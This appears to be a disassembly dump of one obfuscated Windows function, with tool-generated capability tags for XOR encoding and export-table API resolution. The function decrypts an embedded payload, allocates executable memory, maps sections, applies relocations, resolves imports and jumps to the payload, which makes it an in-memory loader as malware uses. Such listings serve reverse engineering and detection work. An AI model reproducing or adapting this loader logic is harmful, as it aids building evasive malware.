Function at 0x1800010f0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x180001122
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001122
nop
jmp 0x180001120
mov eax, 0x10
call entry0
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r14, rsp
sub rsp, 0x20
lea r15, section..data
mov r8d, 4
mov rcx, rbx
mov rdx, r15
call fcn.1800023a0
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000124d
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000124d
lea rsi, section..data
nop dword [rax + rax]
mov eax, 0x10
call entry0
sub rsp, rax
mov rcx, rsp
sub rsp, 0x20
mov r8d, 4
mov rdx, rsi
call fcn.1800023a0
add rsp, 0x20
mov eax, 0x10
call entry0
sub rsp, rax
mov rcx, rsp
sub rsp, 0x20
mov r8d, 4
mov rdx, rsi
call fcn.1800023a0
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800011f6
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001190
mov eax, 0x10
call entry0
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r14, rsp
sub rsp, 0x20
mov r8d, 4
mov rcx, rbx
mov rdx, rsi
call fcn.1800023a0
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000124d
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001190
mov edi, dword [rbx]
test rdi, rdi
je 0x18000136a
xor eax, eax
cmp edi, 0x10
jb 0x180001340
lea rcx, [rdi - 1]
cmp rcx, 0x400
jae 0x180001340
mov eax, edi
and eax, 0xfffffff0
lea rdx, [rax - 0x10]
mov rcx, rdx
shr rcx, 4
add rcx, 1
mov ebx, ecx
and ebx, 1
test rdx, rdx
je 0x180001d62
mov rdx, rbx
sub rdx, rcx
xor esi, esi
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
nop word cs:[rax + rax]
nop
mov ecx, esi
and ecx, 0x3e0
movups xmm1, xmmword [rcx + r15 + 4]
movups xmm2, xmmword [rsi + r15 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rsi + r15 + 0x414]
xorps xmm2, xmm0
movups xmmword [rsi + r15 + 0x404], xmm2
lea ecx, [rsi + 0x10]
and ecx, 0x3f0
movups xmm2, xmmword [rcx + r15 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rsi + r15 + 0x414], xmm1
add rsi, 0x20
add rdx, 2
jne 0x1800012b0
test rbx, rbx
je 0x180001336
mov ecx, esi
and ecx, 0x3f0
movups xmm0, xmmword [rcx + r15 + 4]
movups xmm1, xmmword [rsi + r15 + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rsi + r15 + 0x404], xmm1
cmp rax, rdi
je 0x18000136a
nop dword [rax + rax]
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor cl, byte [rax + r15 + 0x404]
xor cl, 0xc
mov byte [rax + r15 + 0x404], cl
add rax, 1
cmp rax, rdi
jb 0x180001340
lea rsi, [rdi + r15]
add rsi, 0x404
nop word cs:[rax + rax]
nop
sub rsp, 0x20
mov r8d, 4
mov rcx, r14
mov rdx, rsi
call fcn.1800023a0
add rsp, 0x20
mov eax, dword [0x180020a70]
mov r12d, dword [0x180020a6c]
cmp r12d, 0xa
jl 0x180001422
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001422
cmp r12d, 0xa
jl 0x1800013d0
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001407
nop dword [rax + rax]
sub rsp, 0x20
mov r8d, 4
mov rcx, r14
mov rdx, rsi
call fcn.1800023a0
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180001380
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001380
sub rsp, 0x20
mov r8d, 4
mov rcx, r14
mov rdx, rsi
call fcn.1800023a0
add rsp, 0x20
jmp 0x1800013d0
lea r13, [rdi + r15]
add r13, 0x408
mov r9d, dword [r14]
test r9, r9
je 0x1800015aa
xor ecx, ecx
cmp r9d, 0x20
jb 0x180001579
lea rbx, [r9 - 1]
cmp rbx, 0x400
jae 0x180001579
lea rdx, [rdi + r15]
add rdx, 0x408
lea rbx, [r9 + r15]
add rbx, 4
cmp rdx, rbx
jae 0x18000148f
lea rdx, [r9 + rdi]
add rdx, r15
add rdx, 0x408
lea rbx, str.MuQuDzawyVZtfmUDFpeLnkUiRYRVhkKykgvExSshvEVakTYghBFRbfaVLxrqgXgAlVQKedbUlmTzusuycVPAGSyRHmyLUSCnyASDeOFAXOQoheEGvfEtTLGkWwxEMHPtfdiDVuemjCnreiPvwPjFOkFFsjHxLqDSOLYkkZQCasWLixIZOCSyIYazSZetidzyHgDbvsDoeygfDxnqeAbTgUMfMruEGLdvXMAGPYafBhqIOVyKGHmhZfmyZjSQxVHisfWqoCjzyzGmalKqDxMTtticXwVuQtbYgjDqFZaogJQiMCgeISseHKjccWHnAgUyYSUbqsQfhpLWQmtQIleZxpQclyMumrmiHwUUIYRxkqXBiQwFqtBPlcxvxsdTuvdpxqqwKsGGdPfgGAJXWFaQDDWukLFqHykziKznMKonvFBSOqYEOJsyAJVaXpzaYnSkdrvDrxEPBJjAURuhjnJKjWZhKJbJBQIiZtJfQjUCIshXfwCbwZjfexGazweQrSGaoWdLoKrfDvhdnJuAwZHoXlLfRELPeLHGoeysGeZXdgdUYrOkApEXnrbRofhIqFBqTTwYyAoQXIvYGTvzbuftqIGruXkeQoWhunhHkXEQcltZuVwhUoWwGJGhOYSLcOXZPJvCAyFTJulHjTULZrYezIwGzAkTtQaFWDkvQyzOLLtQIphGOXOrzbsWjsBsSpzDoJHBPwmdcMxrqZbEhUzoWVgcXOMgqUHOnVYqWiLJBXhkRUkIDyYfVhPqwWSJSTfvruClwcqtCkqYjKnnAVHcppVVRzdhqQTeavvOqmGJdwylhqJCYUgYKFQOPCigsXUGlDOgrFobawmKKQRFWaGmcBoLAJhUTLWnAAuXaKlGnAvjjyWPVTduxlZxITEnanlbVoLBfPPcsuvbDQhQwzVZSbYUcdLHkvROvstmkpOHMnpikazjCutHYajpQLzAglnJFndagVoGXMOghyWnQZlFJWysnIswMySQCthRXZSEwYHzMQlKqIVIpnBZHmaARDu
cmp rdx, rbx
jbe 0x18000148f
xor ecx, ecx
jmp 0x180001579
mov ecx, r9d
and ecx, 0xffffffe0
lea rbx, [rcx - 0x20]
mov rsi, rbx
shr rsi, 5
add rsi, 1
mov r8d, esi
and r8d, 1
test rbx, rbx
je 0x180001d72
lea r11, [rdi + r15]
add r11, 0x438
mov r10, r8
sub r10, rsi
xor ebx, ebx
nop word [rax + rax]
mov esi, ebx
and esi, 0x3c0
movups xmm0, xmmword [rsi + r15 + 4]
movups xmm1, xmmword [rsi + r15 + 0x14]
movups xmm2, xmmword [r11 + rbx - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [r11 + rbx - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [r11 + rbx - 0x10]
movups xmm3, xmmword [r11 + rbx]
movups xmmword [r11 + rbx - 0x30], xmm2
movups xmmword [r11 + rbx - 0x20], xmm0
lea esi, [rbx + 0x20]
and esi, 0x3e0
movups xmm0, xmmword [rsi + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rsi + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [r11 + rbx - 0x10], xmm0
movups xmmword [r11 + rbx], xmm1
add rbx, 0x40
add r10, 2
jne 0x1800014d0
test r8, r8
je 0x180001574
mov esi, ebx
and esi, 0x3e0
movups xmm0, xmmword [rsi + r15 + 4]
movups xmm1, xmmword [rsi + r15 + 0x14]
movups xmm2, xmmword [r13 + rbx]
xorps xmm2, xmm0
movups xmm0, xmmword [r13 + rbx + 0x10]
xorps xmm0, xmm1
movups xmmword [r13 + rbx], xmm2
movups xmmword [r13 + rbx + 0x10], xmm0
cmp rcx, r9
je 0x1800015aa
lea rbx, [rdi + r15]
add rbx, 0x408
nop word cs:[rax + rax]
nop
mov edx, ecx
and edx, 0x3ff
movzx edx, byte [rdx + r15 + 4]
xor byte [rbx + rcx], dl
add rcx, 1
cmp rcx, r9
jb 0x180001590
cmp r12d, 0xa
jl 0x1800015c2
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800015c2
nop dword [rax + rax]
jmp 0x1800015c0
cmp dword [0x180020a74], 0xa
jl 0x1800015e2
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800015e2
nop dword [rax]
jmp 0x1800015e0
add rdi, 0x408
mov qword [rbp], r13
movsxd rax, dword [0x180004440]
add rax, r15
add rax, 0x404
mov rsi, r13
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001600
mov rcx, rsi
nop dword [rax]
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180001610
mov r14, rcx
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001620
mov qword [rbp - 0x30], r14
nop
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001630
mov qword [rbp - 8], rax
mov r13, r14
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001650
mov qword [rbp - 0x10], rcx
mov r12, r13
nop word cs:[rax + rax]
nop dword [rax]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001670
sub rsp, 0x20
mov rcx, rsi
call fcn.180002510
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800016ad
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ca0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800016dc
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cb0
mov qword [rbp - 0x20], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov r11, qword [rbp - 0x10]
nop word [rax + rax]
mov edx, dword [rsi]
add rdx, r9
mov rcx, r11
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001726
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001710
cmp al, bl
je 0x180001740
add rsi, 4
add r10, 2
jmp 0x180001700
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r13
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000177a
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cc0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800017a9
mov ecx, dword [0x180020a88]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001cd0
add r8, r10
mov esi, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add rsi, r10
add r9, r10
mov r13, qword [rbp]
mov eax, dword [rsi]
add rax, r10
mov rbx, r14
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x1800017e6
add rbx, 1
add rax, 1
cmp cl, dl
je 0x1800017d0
cmp cl, dl
je 0x180001800
add rsi, 4
add r9, 2
jmp 0x1800017c0
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
add rsp, 0x10
mov rcx, qword [rbp - 0x20]
call fcn.180002510
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001864
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ce0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001893
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cf0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
mov r12, qword [rbp - 8]
nop word [rax + rax]
mov esi, dword [rdx]
add rsi, r10
xor eax, eax
nop word [rax + rax]
lea rcx, [rdi + rax]
movzx ebx, byte [r15 + rcx]
movzx ecx, byte [rsi + rax]
test bl, bl
je 0x1800018d9
add rax, 1
cmp bl, cl
je 0x1800018c0
cmp bl, cl
je 0x1800018f0
add rdx, 4
add r9, 2
jmp 0x1800018b0
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov edx, dword [r12 + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov rbx, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001d82
test edx, edx
je 0x180001d82
movsxd rdx, dword [0x180004440]
cmp dword [0x180020a74], 0xa
mov r12, r13
jl 0x180001970
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
mov r12, r13
and ecx, 1
jne 0x180001d00
nop dword [rax]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001970
mov rbx, r12
nop
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001980
mov r14, rbx
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001990
nop word [rax + rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800019a0
mov rsi, r14
nop dword [rax]
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x1800019b0
mov qword [rbp - 8], rdx
mov r13, rsi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800019c0
sub rsp, 0x20
mov rcx, r12
call fcn.180002510
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800019fc
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d10
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov eax, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001a2e
mov r8d, dword [0x180020a88]
lea edx, [r8 - 1]
imul edx, r8d
and edx, 1
jne 0x180001d20
add rax, r9
mov qword [rbp - 0x10], rax
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
nop word cs:[rax + rax]
nop
mov edx, dword [r11]
add rdx, r9
mov rcx, rbx
nop dword [rax]
movzx eax, byte [rcx]
movzx r8d, byte [rdx]
test al, al
je 0x180001a78
add rcx, 1
add rdx, 1
cmp al, r8b
je 0x180001a60
cmp al, r8b
je 0x180001a90
add r11, 4
add r10, 2
jmp 0x180001a50
movzx eax, word [r10]
mov rcx, qword [rbp - 0x10]
mov eax, dword [rcx + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rsi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001acd
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d30
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001afc
mov ecx, dword [0x180020a88]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001d40
add r8, r10
mov esi, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add rsi, r10
add r9, r10
nop
mov eax, dword [rsi]
add rax, r10
mov rbx, r14
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001b36
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001b20
cmp cl, dl
je 0x180001b50
add rsi, 4
add r9, 2
jmp 0x180001b10
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, r12
call fcn.180002510
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001bb3
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d50
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001be2
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d60
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
mov r13, qword [rbp]
nop dword [rax]
mov esi, dword [rdx]
add rsi, r10
xor eax, eax
nop word [rax + rax]
lea rcx, [rdi + rax]
movzx ebx, byte [r15 + rcx]
movzx ecx, byte [rsi + rax]
test bl, bl
je 0x180001c29
add rax, 1
cmp bl, cl
je 0x180001c10
cmp bl, cl
je 0x180001c40
add rdx, 4
add r9, 2
jmp 0x180001c00
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + r15 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a74], 0xa
jl 0x1800015ed
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800015ed
jmp 0x1800015e0
jmp 0x180001ca0
jmp 0x180001cb0
jmp 0x180001cc0
jmp 0x180001cd0
jmp 0x180001ce0
jmp 0x180001cf0
jmp 0x180001d00
jmp 0x180001d10
jmp 0x180001d20
jmp 0x180001d30
jmp 0x180001d40
jmp 0x180001d50
jmp 0x180001d60
xor esi, esi
test rbx, rbx
jne 0x18000130c
jmp 0x180001336
xor ebx, ebx
test r8, r8
jne 0x180001542
jmp 0x180001574
cmp ecx, 0xa
jl 0x180001d8f
test edx, edx
jne 0x180001ef0
lea r14, [r12 + 0x108]
xor edi, edi
movzx edx, word [r12 + 6]
cmp rdi, rdx
jae 0x180001ef2
mov qword [rbp], rdi
lea rsi, [rdi + rdi*4]
mov ecx, dword [r14 + rsi*8 + 0xc]
mov r8d, dword [r14 + rsi*8 + 0x10]
add rcx, rbx
mov eax, dword [r14 + rsi*8 + 0x14]
lea rdx, [rax + r15]
add rdx, 0x404
sub rsp, 0x20
call fcn.1800023a0
add rsp, 0x20
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180001ec3
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001ec3
lea rdi, [r14 + rsi*8]
add rdi, 0xc
lea r13, [r14 + rsi*8]
add r13, 0x10
lea rsi, [r14 + rsi*8]
add rsi, 0x14
nop word cs:[rax + rax]
mov ecx, dword [rdi]
add rcx, rbx
mov r8d, dword [r13]
mov eax, dword [rsi]
lea rdx, [rax + r15]
add rdx, 0x404
sub rsp, 0x20
call fcn.1800023a0
add rsp, 0x20
mov ecx, dword [rdi]
add rcx, rbx
mov r8d, dword [r13]
mov eax, dword [rsi]
lea rdx, [rax + r15]
add rdx, 0x404
sub rsp, 0x20
call fcn.1800023a0
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180001e80
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001e20
mov ecx, dword [rdi]
add rcx, rbx
mov r8d, dword [r13]
mov eax, dword [rsi]
lea rdx, [rax + r15]
add rdx, 0x404
sub rsp, 0x20
call fcn.1800023a0
add rsp, 0x20
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180001ec3
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001e20
mov rdi, qword [rbp]
add rdi, 1
cmp ecx, 0xa
jl 0x180001d99
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001d99
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180001ef0
mov rdx, qword [r12 + 0x30]
mov r10, rbx
sub r10, rdx
cmp ecx, 0xa
jl 0x180001f12
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001f12
nop dword [rax]
jmp 0x180001f10
mov r11d, dword [r12 + 0xb0]
add r11, rbx
movabs r8, 0x1fffffff8
cmp dword [r11], 0
je 0x1800020a2
mov edx, dword [r11 + 4]
cmp rdx, 8
jb 0x18000204a
cmp ecx, 0xa
jl 0x180001f53
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x180002080
add rdx, r8
shr rdx, 1
mov r9d, edx
xor r14d, r14d
cmp r9, r14
je 0x18000204a
movzx edx, word [r11 + r14*2 + 8]
mov edi, edx
shr edi, 0xc
mov esi, edx
and esi, 0xfff
cmp edx, 0xa000
jae 0x180001fa2
cmp edi, 3
jne 0x180001fff
cmp ecx, 0xa
jl 0x180002016
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000203d
jmp 0x180002016
cmp edi, 0xa
jne 0x180001fff
mov edx, esi
cmp ecx, 0xa
jl 0x180001fd8
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001fd8
lea rdi, [rdx + rbx]
jmp 0x180001fd1
add r14, 1
cmp ecx, 0xa
jl 0x180001f5f
test edx, edx
je 0x180001f5f
jmp 0x180002080
mov eax, dword [r11]
add qword [rdi + rax], r10
mov eax, dword [r11]
lea rdi, [rdx + rbx]
add qword [rax + rdi], r10
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180001fff
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x180001fd1
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001fbf
test edx, edx
je 0x180001fbf
jmp 0x180002090
mov eax, dword [r11]
lea rax, [rbx + rax*4]
add dword [rax + rsi*4], r10d
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180001fff
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001fff
mov eax, dword [r11]
lea rax, [rbx + rax*4]
add dword [rax + rsi*4], r10d
jmp 0x180002016
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x18000205c
test edx, edx
jne 0x1800020a0
mov edi, dword [r11 + 4]
add r11, rdi
cmp ecx, 0xa
jl 0x180001f27
test edx, edx
je 0x180001f27
jmp 0x180001f10
jmp 0x180002080
jmp 0x180002090
jmp 0x1800020a0
cmp ecx, 0xa
jl 0x1800020b4
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800020b4
jmp 0x1800020b2
lea rax, [rbx + 2]
mov qword [rbp], rax
mov eax, dword [r12 + 0x90]
add rax, rbx
mov qword [rbp - 0x18], rax
mov r14, qword [rbp - 0x30]
mov rax, qword [rbp - 0x18]
mov r15d, dword [rax + 0xc]
test r15, r15
je 0x180002321
sub rsp, 0x20
mov rcx, qword [rbp - 0x20]
call fcn.180002510
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002112
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000231b
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002141
mov ecx, dword [0x180020a88]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x18000231d
add r15, rbx
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov r11, qword [rbp - 0x10]
mov eax, dword [rsi]
add rax, r9
mov rdi, r11
movzx edx, byte [rdi]
movzx ecx, byte [rax]
test dl, dl
je 0x180002179
add rdi, 1
add rax, 1
cmp dl, cl
je 0x180002163
cmp dl, cl
je 0x180002187
add rsi, 4
add r10, 2
jmp 0x18000215b
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
call r9
add rsp, 0x20
mov qword [rbp - 0x28], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800021c6
test edx, edx
jne 0x18000231f
cmp ecx, 0xa
jl 0x1800021d3
test edx, edx
jne 0x180002315
mov rdx, qword [rbp - 0x18]
mov r13d, dword [rdx]
mov r12d, dword [rdx + 0x10]
add r12, rbx
add r13, rbx
mov rdx, qword [r13]
test rdx, rdx
je 0x1800022f3
mov rax, qword [rbp]
add rax, rdx
test rdx, rdx
movzx r15d, dx
cmovns r15, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x20]
call fcn.180002510
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002235
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002317
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002264
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002319
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
mov rax, r14
nop
movzx ecx, byte [rax]
movzx edx, byte [rsi]
test cl, cl
je 0x180002296
add rax, 1
add rsi, 1
cmp cl, dl
je 0x180002280
cmp cl, dl
je 0x1800022a4
add rdi, 4
add r10, 2
jmp 0x180002277
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x28]
mov rdx, r15
call r9
add rsp, 0x20
mov qword [r12], rax
add r13, 8
add r12, 8
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x1800021e4
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800021e4
jmp 0x180002315
add qword [rbp - 0x18], 0x14
cmp ecx, 0xa
jl 0x1800020cf
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800020cf
jmp 0x1800020b2
jmp 0x180002315
jmp 0x180002317
jmp 0x180002319
jmp 0x18000231b
jmp 0x18000231d
jmp 0x18000231f
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000238d
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000238d
mov rsi, qword [rbp - 8]
mov eax, dword [rsi + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000238d
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002353
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret